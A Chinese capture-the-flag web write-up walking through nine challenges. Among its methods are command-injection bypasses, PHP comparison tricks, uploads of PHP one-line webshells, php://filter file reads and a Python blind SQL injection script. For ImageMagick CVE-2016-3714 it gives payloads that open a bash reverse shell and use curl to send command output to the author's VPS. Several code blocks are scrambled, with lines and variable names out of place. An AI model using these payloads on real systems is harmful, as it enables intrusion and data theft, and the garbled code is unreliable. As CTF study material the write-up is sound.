Web-writeup
1.Web签到题
典型签到题,点开网址是一个主办方打广告的主页,想必是跳转了。burp抓一下包就找到flag了。
2.Web2-少年你真的会使用PING吗?
进去是一个类似于shell的东西,输个百度地址也能ping通。应该是命令执行绕过。
一试果然,所以直接cat%20flag_is_here.php,发现没返回,怕是过滤了,用
tac
命令试一下,成功返回flag。
3.Web3
随便输入admin信息看一下反应
多post了一个name参数 去掉name参数会出现源码,文字已经提示了代码审计。
if(isset($_POST['login'])){
if(isset($_POST['user']))
{if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{die('user错误!');
}
}if (isset($_POST['name']) && isset($_POST['password']))
{if ($_POST['name'] == $_POST['password'] )
{die('账号密码不能一致!');
}if (md5($_POST['name']) === md5($_POST['password']))
{if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])){
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");}
else{die("ID错误1!");}
else{
}die('账号密码错误!');}
}
根据代码分析,最后POST的参数是user[]=&password[]=&id=072&login=Check&name[]=1
就能绕过了
4.Web4文件上传
不多说,一个文件上传绕过,甚至还有tips 直接找个php一句话木马传上去,看看过滤了什么
经过试验,后缀名过滤了php,文件内容过滤了code`绕过
上传成功后访问你上传的木马就会得到flag
5.Web6-Vulhub
题目一开始给的范围有点大,一开始看到留言,以为XSS,看到提示
url_include_open=on
,以为文件包含,通过about页面的参数
?f=php://filter/read=convert.base64-encode/resource=xxx.php
就会得到base64编码后的xxx.php的源码。
解码后
发现一个flag.php,解码后提示flag在数据库中。。。又是一个坑
随找注入点。 留言的地方发留言用burp截断之后,response返回的是一串sql语句+username。
INSERT INTO XXX SET(username,content,data) VALUES (‘xxx’,’xxx’,now())
这个地方这么明显的提示,当然是注入啊。。。
发现username和content都是有
addslashes()
转义的。我还以为有什么神操作可以绕过,一直在这耗,毕竟提示都打印sql语句了。最后还是没得办法,2333
最后发现这是个坑,真正的注入点是一个search留言的get参数,欲哭无泪。
最后用盲注高出flag了 POC 如下:
import requests,re
= "http://116.62.63.190:8002/ee00f46afe33f2ff/web6//search.php?search=a"
url # 5'or%20ord(substr((Select%0bcolumncolumn_name_name%20%0bfromfrom%20%20informatioinformation_schema.columnsn_schema.columns%20%20wherewhere%20%0btable_name='flag'%20limit%20{},1),{},1))%26{}%20or%20'1'='0
# payload="5'or%20ord(substr((/*!50000Select*/%0bflag%20from%20web1.flag%20%20where%201%0b%20limit%20{},1),{},1))%26{}%20or%20'1'='0"
= "'or%20ord(substr((/*!50000Select*/%0badmin_pass%20from%20ctf4.admin%20where%201%20limit%20{},1),{},1))%26{}%23"
payload = [1,2,4,8,16,32,64]
l for i in xrange(100):
str=""
for j in xrange(1,100):
=0
numfor t in l:
= requests.get(url+payload.format(i,j,t)).text
html if "111111" in html:
+=t
numif num==0:
break
str+=chr(num)
print str+"_"
print str
if str=="":
break
print "============================"
print "End"
本题总结:
可以找到的切入点太多(坑太多),混淆视听,实际考察的东西却过于简单,可能是我想太多了吧2333
6.Web7-imagemagick
500分的题目,还是挺有难度的,考查的是一个去年的imagemagick远程执行漏洞(CVE-2016-3714) freebuf上有分析http://www.freebuf.com/vuls/103504.html
一开始没给提示,然后给个phpinfo,然后下午不知道什么时候再给了一个图片才知道是这个漏洞。。(出题人也是无力吐槽,各种改题不提示,环境还迟迟未搭建好)
网上查到exploit,
push graphic-context
viewbox 0 0 640 480
fill 'url(https://公网ip/image.jpg"||bash -i >& /dev/tcp/你的vps/9999 0>&1")'
pop graphic-context
将exploit变成一个图片的内容保存起来,格式png,Jpg都是可以的, 我是改成.mvg,然后burp截包吧Content-Type改成image/jpeg,因为漏洞主要是用了ImageMagick处理图片转换格式的时候遇到畸形内容的图片,使用system函数处理https请求然后导致漏洞产生。直接上传png,jpg没试过,大家可以试试。 上面的exp是执行命令反弹shell的,我没有成功反弹,随改成请求我的vps,然后侦听端口,把想要的结果用cookie传过来。 我的exploit:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls`\" http://我的vps IP:2502 ")'
pop graphic-context
先开启VPS侦听端口 把这个exp保存为图片后上传会执行’ls’命令,然后将ls命令执行结果存为name=结果的cookie,然后再通过curl发送cookie到我的vps上。
提示flag在tmp里面
改一下命令
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls /tmp |grep flag `\" http://我的vps IP:2502 ")'
VPS接收到的是
随后
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`cat /tmp/flag.txt`\" http://我的vps IP:2502 ")'
本题总结:
由于本人开始写exploit的时候忽略了一些细节,导致cookie传不出来,也想不到其他传出命令执行结果的方法,故在比赛结束后几分钟才解得flag,丢失了500分,贼气。说明还是得熟悉linux操作、提升漏洞复现,随机应变的能力。
7.Web8-Git泄露
说是送分题,其实也拖了挺久时间的。。。也许因为太菜吧
进去提示url=git
但是修改url,没有任何反应 可能这就是传说中的提示吧
用Githack扫一下地址就能得到flag了
打开83c0eb95cf761515fe09c2ad39527a39.txt
Base64解得:
flag:{86045abb89db3e841f68593e3ecb7993}
8.Web9-Wget
比赛的时候没有做出来这道题,比赛后才知道这种思路。 一开始以为绕过wget命令,因为是批量下载,没有绕过。 发现可以用wget的参数-P指定目录-O指定文件名字 但是随便输入一个地址会发现Permission Denied
说明当前目录不可写 然后我就搁置在这了,主要是源码注释里面存在一个admin.php 一直在想这个admin.php有啥用
一直在纠结这个 然后自己写出来后才知道,没卵用。我的心情是复杂的。
接着目录不可写,发现上上级目录/var/www/html是可写的 Payload为
-P /var/www/haml -O+/var/www/html/wz.php http://我的VPS/code.txt
会发现已经写入
我的VPS上的Code.txt的内容是一个一句话木马:
My code
<?php
System($_POST[“code”]);
?>
随后访问http://116.62.63.190:8005/wz.php
,发现一句话已经写入了
接着就是找flag了。 最后在/var/www/html/4b0cf03220fefbf6/web9/flag.php下找到flag